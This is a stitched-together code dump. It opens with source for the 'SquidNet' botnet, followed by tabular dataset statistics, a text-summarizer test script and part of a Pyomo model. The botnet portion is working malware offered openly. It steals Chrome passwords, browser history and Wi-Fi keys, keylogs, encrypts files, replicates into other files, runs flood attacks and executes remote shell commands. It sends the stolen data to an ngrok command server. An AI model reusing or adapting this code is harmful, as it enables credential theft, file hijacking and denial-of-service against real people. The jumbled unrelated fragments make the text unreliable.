content = file.read()
file.close()
enc_content = self.fernet_session.encrypt(content)
file = open(filename, 'wb')
file.write(enc_content)
file.close()
except:
pass
def decfile(self, filename):
try:
file = open(filename, 'rb')
content = file.read()
file.close()
dec_content = self.fernet_session.decrypt(content)
file = open(filename, 'wb')
file.write(dec_content)
file.close()
except:
pass
def getfrinternet(self, src ,filetocreate):
try:
output = os.popen(f"curl {src} -o {filetocreate}").read()
self.send(f"Created {filetocreate} into {os.getcwd()}")
except:
pass
def conn_test(self):
connected = True
while True:
try:
if connected:
self.send(" ")
time.sleep(1)
except:
connected = False
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((self.ip, self.port))
msg = socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform
self.send(msg)
time.sleep(1)
self.send("!CLIENTLOG".encode())
time.sleep(1)
connected = True
break
except:
pass
try:
logger = threading.Thread(target=self.start_logging)
logger.start()
except:
pass
def get_encryption_key(self):
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(self,password, key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return ""
def main_password_yoinker(self):
msgtoserv = ""
key = self.get_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = self.decrypt_password(row[3], key)
if username or password:
msgtoserv += f"\\nOrigin Url: {origin_url}\\nAction Url: {action_url}\\nUsername: {username}\\nPassword: {password}\\n"
else:
continue
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
return msgtoserv
def gotowebsite(self, website):
if sys.platform == "win32":
os.system(f'start {website}')
else:
os.system(f'open {website}')
def clone(self):
file_ending = sys.argv[0].split(".")
file_ending = file_ending[len(file_ending) - 1]
if "py" in file_ending:
own_file = open(sys.argv[0], "r")
own_content = own_file.readlines()
own_file.close()
lines = []
in_code = False
for line in own_content:
if "#-----SquidNet-Bot-Script-----#" in line:
in_code = True
if in_code:
lines.append(line)
if "#-----End-Of-Bot-----#" in line:
in_code = False
break
else:
own_file = open(sys.argv[0], "rb")
own_content = own_file.read()
own_file.close()
if sys.platform == "win32":
main_dir = f"C:/Users/{os.getlogin()}/"
else:
main_dir = f"/Users/{self.name}/"
os.chdir(main_dir)
workingdirs = []
workingdirs.append(main_dir)
workingdirs.append(os.getcwd())
dirlist = os.listdir()
for dirs in dirlist:
if "." in dirs:
pass
else:
workingdirs.append(main_dir + str(dirs))
dirlist = os.listdir()
for dirs in workingdirs:
try:
os.chdir(dirs)
except:
pass
for files in dirlist:
try:
if '.'+file_ending in files:
if "py" in file_ending:
file = open(files, "r")
content = file.readlines()
file.close()
if "#-----SquidNet-Bot-Script-----#" in content:
pass
else:
file = open(files, "w")
file.writelines(lines)
file.writelines("\\n\\n")
file.writelines(content)
file.close()
else:
file = open(files, "rb")
content = file.read()
file.close()
if own_content in content:
pass
else:
file = open(files, "wb")
file.write(own_content + "\\n\\n".encode())
file.write(content)
file.close()
except:
pass
def gotowebsite(self, website):
if sys.platform == "win32":
os.system(f'start {website}')
else:
os.system(f'open {website}')
def send_history(self):
dirs = os.getcwd()
if sys.platform == "win32":
os.chdir(f"C:/Users/{os.getlogin()}/AppData/Local/Google/Chrome/User Data/Default/")
elif sys.platform == "darwin":
os.chdir(f"/Users/{self.name}/Library/Application Support/Google/Chrome/User Data/Default/")
shutil.copyfile("History", dirs + "/History.db")
os.chdir(dirs)
History = sqlite3.connect("History.db")
cursor = History.cursor()
e = cursor.execute("SELECT last_visit_time, visit_count, title, url from urls")
for i in cursor.fetchall():
time = i[0]
visit_count = i[1]
url = i[3]
title = i[2]
epoch = datetime(1601, 1, 1)
url_time = epoch + timedelta(microseconds=time)
self.send(f"({url_time}) ({visit_count}) ({title}) ({url})".encode())
cursor.close()
History.close()
os.remove("History.db")
def run_cmd(self):
try:
if self.fileeditor:
if self.msg.startswith("!stopedit"):
self.send(f"File editor closed for {self.filename}.")
self.fileeditor = False
else:
try:
self.msg = "\\n" + self.msg
except:
self.msg = "\\n".encode() + self.msg
self.file = open(self.filename, "rb")
contents = self.file.read()
self.file.close()
self.file = open(self.filename, "wb")
self.file.write(contents)
self.file.write(self.msg.encode())
self.file.close()
else:
if self.msg.startswith('!httpflood'):
msg = self.msg.split()
ip = msg[1]
delay = float(msg[2])
self.dos = DDoS(ip, delay)
elif self.msg.startswith('!stopatk'):
try:
self.dos.stop_atk()
except:
pass
try:
self.tcpflood.Stop_Atk()
except:
pass
try:
self.udpflood.Stop_Atk()
except:
pass
elif self.msg.startswith('!cloneself'):
cloner = threading.Thread(target=self.clone)
cloner.start()
self.connection.send("Successfully replicated files.".encode())
elif self.msg.startswith('!changedirdesktop'):
self.changedir(self.desktop)
elif self.msg.startswith('!openfile'):
file = self.returnsecondstr(self.msg)
self.openfile(file)
elif self.msg.startswith('!changedir'):
dir = self.returnsecondstr(self.msg)
self.changedir(dir)
elif self.msg.startswith('!rmdir'):
dir = self.returnsecondstr(self.msg)
self.rmdir(dir)
elif self.msg.startswith('!rmfile'):
file = self.returnsecondstr(self.msg)
self.rmfile(file)
elif self.msg.startswith('!listdir'):
dirlist = self.listdir()
self.send(dirlist)
elif self.msg.startswith('!encdir'):
self.encdir()
elif self.msg.startswith('!decdir'):
self.decdir()
elif self.msg.startswith('!encfile'):
file = self.returnsecondstr(self.msg)
self.encfile(file)
elif self.msg.startswith('!decfile'):
file = self.returnsecondstr(self.msg)
self.decfile(file)
elif self.msg.startswith('!getinfo'):
msgtoserv = self.getinfo()
self.send(msgtoserv)
elif self.msg.startswith('!getip'):
self.send(self.getip())
elif self.msg.startswith("!keylog"):
if self.logging:
pass
else:
self.send("Started to send keyboard inputs.")
self.logging = True
elif self.msg.startswith("!stopkeylog"):
if self.logging:
self.send("Stopped Keylogging.")
self.logging = False
elif self.msg.startswith('!getwifi'):
wifi_passwords = self.obtainwifipass()
self.send(wifi_passwords)
elif self.msg.startswith('!savefile'):
file = self.returnsecondstr(self.msg)
self.sendfile(file)
elif self.msg.startswith('!viewfilecontent'):
file = self.returnsecondstr(self.msg)
self.file_content(file)
elif self.msg.startswith("!getchromehistory"):
self.send_history()
elif self.msg.startswith('!mkdir'):
main_msg = self.msg.split()
dirname = main_msg[1]
self.mkdir(dirname)
self.send(f"Successfully Created {dirname}")
elif self.msg.startswith('!getcwd'):
self.send(os.getcwd())
elif self.msg.startswith('!getos'):
self.send(sys.platform)
elif self.msg.startswith('!gotowebsite'):
main_msg = self.msg.split()
url = main_msg[1]
self.gotowebsite(url)
elif self.msg.startswith('!dwnldfile'):
main_msg = self.msg.split()
src = main_msg[1]
file = main_msg[2]
self.getfrinternet(src, file)
elif self.msg.startswith('!getpasswords'):
if sys.platform == "win32":
passwords = self.main_password_yoinker()
self.connection.send(passwords.encode())
else:
self.connection.send("Running on a non-windows machine - Cannot get passwords!")
elif self.msg.startswith("!editfile"):
try:
main_msg = self.msg.split()
self.editfile = open(str(main_msg[1]), "rb")
self.editfile.close()
self.filename = self.editfile.name
self.fileeditor = True
self.send(f"File editing mode activated for file {self.filename}")
except:
self.send("File cannot be opened on this computer.".encode())
self.fileeditor = False
elif self.msg.startswith("!mkfile"):
msg_split = self.msg.split()
try:
filename = msg_split[1]
file = open(str(filename), "w")
file.close()
self.send(f"File {filename} has been created in {os.getcwd()}".encode())
except:
self.send("Error with creating files.".encode())
elif self.msg.startswith("!rickroll"):
if sys.platform == "win32":
for i in range(10):
os.system("start https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO")
else:
for i in range(10):
os.system("open https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO")
self.send("Just got rick rolled!".encode())
elif self.msg.startswith("!tcpflood"):
msg_split = self.msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.tcpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.tcp_flood = threading.Thread(target=self.tcpflood.TCP_Flood)
self.tcp_flood.start()
elif self.msg.startswith("!udpflood"):
msg_split = self.msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.udpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.udp_flood = threading.Thread(target=self.udpflood.UDP_Flood)
self.udp_flood.start()
else:
cmd = subprocess.Popen(self.msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout = cmd.stdout.read()+cmd.stderr.read()
self.send(stdout)
except Exception as e:
self.send(f"Error in script: {e}".encode())
ip = '""" + self.ngroklink + """'
port = """ + str(self.ngrokport) + """
key = """ + str(self.key) + """
if sys.platform == "win32":
try:
isadmin = ctypes.windll.shell32.IsUserAnAdmin()
except:
isadmin = False
if isadmin:
bot = Bot(ip, port, key)
else:
exec_dir = sys.argv[0]
params = f'"{exec_dir}"'
try:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1)
except:
bot = Bot(ip, port, key)
else:
bot = Bot(ip, port, key)
#-----End-Of-Bot-----#
"""
return script
class Web_Interface:
"""Web Interface for seeing connections, some general info about them, and also
info about this script. There are some important info about some of the important
variables in the server, so that the User can learn more about it."""
def __init__(self, ip, port):
"""Initiation of the web-server, also where all the important variables are defined,
as well as the starting of the server and threads."""
self.ip = "localhost"
self.port = port
self.working = False
try:
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((ip, port))
self.working = True
except Exception as e:
print(f"\n[+] Web-Interface is unable to start due to error: {e}")
if self.working:
self.packet = ""
self.listener = threading.Thread(target=self.listen)
self.listener.start()
self.packets = threading.Thread(target=self.packetmaker)
self.packets.start()
def packetmaker(self):
"""This function generates the packet to send
to the client and also for updating the Web-Interface."""
while True:
try:
conn_bots = ""
for x in botnet.botnet.info:
conn_bots += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[
2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[4] + "</td>\n</tr>\n"
conn_admin = ""
for x in botnet.botnet.admininfo:
conn_admin += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + \
x.split()[
2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[
4] + "</td>\n</tr>\n"
conn_ssh = ""
for x in botnet.botnet.ssh_info:
conn_ssh += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[
2] + "</td>\n</tr>\n"
self.packet = """
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>SquidNet Web-Interface</title>
<head>
<style>
table {
border: 3px solid black;
font-size: 50px
border-collapse: collapse;
font: arial;
}
td, th {
border: 1px solid black;
padding: 5px;
}
</style>
</head>
<body>
<h1>SquidNet Web Interface<h1>
<h3>(Clearly HTML is not my base language so it doesn't look too good)<h3>
<h1>Connections To the Botnet<h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>UserName</th>
<th>Connection</th>
<th>OS</th>
</tr>
</thead>
<tbody>
""" + str(conn_bots) + """
</tbody>
</table>
<h1>Admin Connections To the Botnet<h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>UserName</th>
<th>Connection</th>
<th>OS</th>
</tr>
</thead>
<tbody>
""" + str(conn_admin) + """
</tbody>
</table>
<h1>SSH Connections to the Botnet</h1>
<table>
<thead>
<tr>
<th>Hostname</th>
<th>IP Address</th>
<th>Password</th>
</tr>
</thead>
<tbody>
""" + str(conn_ssh) + """
</tbody>
</table>
<h2>About:</h2>
</h4>Squidnet is an SSH and TCP Botnet Hybrid. The Botnet has the ability to take control of computers compromised by the
bot script, as well as gaining access to ssh servers. It also has a form of security in which admins need to provide a username and
a password in order to gain access. They will be kicked if they do not enter the correct credentials. The Bots can do many
things including DDoS Attacks(HTTP, TCP and UDP Floods), sending their passwords to the Botnet, editing files remotely,
and many more.</h4>
<h2>Important Info</h2>
<h4>Server Log file: """ + os.getcwd() + """\\servlog.txt - Good for checking for errors and server output.</h4>
<h4>Server IP: """ + str(botnet.botnet.ngroklink) + """:""" + str(botnet.botnet.ngrokport) + """ - How Bots will connect to the Botnet.</h4>
<h4>Admin Username: """ + str(botnet.botnet.admin_name) + """ - Username Used by Admins to obtain access to the Botnet</h4>
<h4>Admin Password: """ + str(botnet.botnet.passw) + """ - Password Used by Admins to obtain access to the Botnet.</h4>
<h4>Encryption Token: """ + str(botnet.botnet.key) + """ - Used for encrypting files on the bots.</h4>
<h4>Brute-Forcing-File: """ + str(botnet.botnet.passfilename) + """ - Used for SSH-Brute-Forcing.</h4>
</body>
</html>
"""
time.sleep(1)
except:
pass
def listen(self):
"""Listens for and accepts connections."""
while True:
self.server.listen()
conn, ip = self.server.accept()
handler = threading.Thread(target=self.handler, args=(conn,))
handler.start()
def handler(self, conn):
"""Handles the connections and sends the HTTP Code to the client
to view the Web Interface."""
conn.send('HTTP/1.0 200 OK\n'.encode())
conn.send('Content-Type: text/html\n'.encode())
conn.send('\n'.encode())
conn.send(self.packet.encode())
if sys.platform == "win32":
pass
else:
conn.close()
if __name__ == '__main__':
"""Clears CMD Output."""
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
try:
"""Tries to import this module."""
import paramiko
except:
"""Since paramiko is not an official Python Module,
the user may need to download Paramiko themself."""
print(Botnet.log_logo())
print("\n[+] Missing Module: Paramiko\n[+] If you have python 3 installed, try: pip install paramiko")
sys.exit()
botnet = ArguementParse()
| 86.463871
| 748
| 0.555152
| 74,590
| 461,890
| 3.412079
| 0.022563
| 0.013202
| 0.05269
| 0.067562
| 0.88295
| 0.870055
| 0.861226
| 0.856766
| 0.849784
| 0.841812
| 0
| 0.160267
| 0.281437
| 461,890
| 5,342
| 749
| 86.463871
| 0.606553
| 0.008242
| 0
| 0.749857
| 0
| 0.577824
| 0.913677
| 0.04713
| 0
| 0
| 0
| 0
| 0
| 1
| 0.004953
| false
| 0.032197
| 0.002286
| 0
| 0.012002
| 0.024957
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
fa065e942b8de19594c3d749f1cd9f2589f302a3
| 1,422
|
py
|
Python
|
test_summarize.py
|
axenov/BERT-Summarization-for-OpenNMT
|
b453b33efb4961ec11b9e424f65049e7b7a5146f
|
[
"MIT"
] | 5
|
2021-03-08T12:53:48.000Z
|
2021-09-14T16:18:23.000Z
|
test_summarize.py
|
axenov/BERT-Summarization-for-OpenNMT
|
b453b33efb4961ec11b9e424f65049e7b7a5146f
|
[
"MIT"
] | null | null | null |
test_summarize.py
|
axenov/BERT-Summarization-for-OpenNMT
|
b453b33efb4961ec11b9e424f65049e7b7a5146f
|
[
"MIT"
] | 2
|
2021-03-06T15:28:44.000Z
|
2021-07-30T19:36:08.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from summarizer import AbstractiveSummarizer
if __name__ == "__main__":
FILE_NAME = "sample_de.txt"
texts = []
with open("data/"+FILE_NAME) as f:
for text in f:
texts.append(text)
model = AbstractiveSummarizer(language = 'de', method = 'bert', extract = True)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'de', method = 'conv', extract = True)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'de', method = 'bert', extract = False)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'de', method = 'conv', extract = False)
for summ in model.summarize(texts):
print(summ)
FILE_NAME = "sample_en.txt"
texts = []
with open("data/"+FILE_NAME) as f:
for text in f:
texts.append(text)
model = AbstractiveSummarizer(language = 'en', method = 'bert', extract = True)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'en', method = 'conv', extract = True)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'en', method = 'bert', extract = False)
for summ in model.summarize(texts):
print(summ)
model = AbstractiveSummarizer(language = 'en', method = 'conv', extract = False)
for summ in model.summarize(texts):
print(summ)
| 29.020408
| 81
| 0.696203
| 182
| 1,422
| 5.362637
| 0.21978
| 0.213115
| 0.278689
| 0.114754
| 0.889344
| 0.889344
| 0.889344
| 0.885246
| 0.885246
| 0.885246
| 0
| 0.000841
| 0.163854
| 1,422
| 49
| 82
| 29.020408
| 0.820017
| 0.029536
| 0
| 0.666667
| 0
| 0
| 0.066715
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027778
| 0
| 0.027778
| 0.222222
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fa1ece77712ceb4a8b0b18dd663633749d2cd3c0
| 989,754
|
py
|
Python
|
tests/examples/minlplib/arki0003.py
|
ouyang-w-19/decogo
|
52546480e49776251d4d27856e18a46f40c824a1
|
[
"MIT"
] | 2
|
2021-07-03T13:19:10.000Z
|
2022-02-06T10:48:13.000Z
|
tests/examples/minlplib/arki0003.py
|
ouyang-w-19/decogo
|
52546480e49776251d4d27856e18a46f40c824a1
|
[
"MIT"
] | 1
|
2021-07-04T14:52:14.000Z
|
2021-07-15T10:17:11.000Z
|
tests/examples/minlplib/arki0003.py
|
ouyang-w-19/decogo
|
52546480e49776251d4d27856e18a46f40c824a1
|
[
"MIT"
] | null | null | null |
# NLP written by GAMS Convert at 04/21/18 13:50:54
#
# Equation counts
# Total E G L N X C B
# 2583 450 31 2102 0 0 0 0
#
# Variable counts
# x b i s1s s2s sc si
# Total cont binary integer sos1 sos2 scont sint
# 2283 2283 0 0 0 0 0 0
# FX 31 31 0 0 0 0 0 0
#
# Nonzero counts
# Total const NL DLL
# 12634 8554 4080 0
from pyomo.environ import *
model = m = ConcreteModel()
m.x1 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x2 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x3 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x4 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x5 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x6 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x7 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x8 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x9 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x10 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x11 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x12 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x13 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x14 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x15 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x16 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x17 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x18 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x19 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x20 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x21 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x22 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x23 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x24 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x25 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x26 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x27 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x28 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x29 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x30 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x31 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x32 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x33 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x34 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x35 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x36 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x37 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x38 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x39 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x40 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x41 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x42 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x43 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x44 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x45 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x46 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x47 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x48 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x49 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x50 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x51 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x52 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x53 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x54 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x55 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x56 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x57 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x58 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x59 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x60 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x61 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x62 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x63 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x64 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x65 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x66 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x67 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x68 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x69 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x70 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x71 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x72 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x73 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x74 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x75 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x76 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x77 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x78 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x79 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x80 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x81 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x82 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x83 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x84 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x85 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x86 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x87 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x88 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x89 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x90 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x91 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x92 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x93 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x94 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x95 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x96 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x97 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x98 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x99 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x100 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x101 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x102 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x103 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x104 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x105 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x106 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x107 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x108 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x109 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x110 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x111 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x112 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x113 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x114 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x115 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x116 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x117 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x118 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x119 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x120 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x121 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x122 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x123 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x124 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x125 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x126 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x127 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x128 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x129 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x130 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x131 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x132 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x133 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x134 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x135 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x136 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x137 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x138 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x139 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x140 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x141 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x142 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x143 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x144 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x145 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x146 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x147 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x148 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x149 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x150 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x151 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x152 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x153 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x154 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x155 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x156 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x157 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x158 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x159 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x160 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x161 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x162 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x163 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x164 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x165 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x166 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x167 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x168 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x169 = Var(within=Reals,bounds=(None,None),initialize=130)
m.x170 = Var(within=Reals,bounds=(None,None),initialize=130)
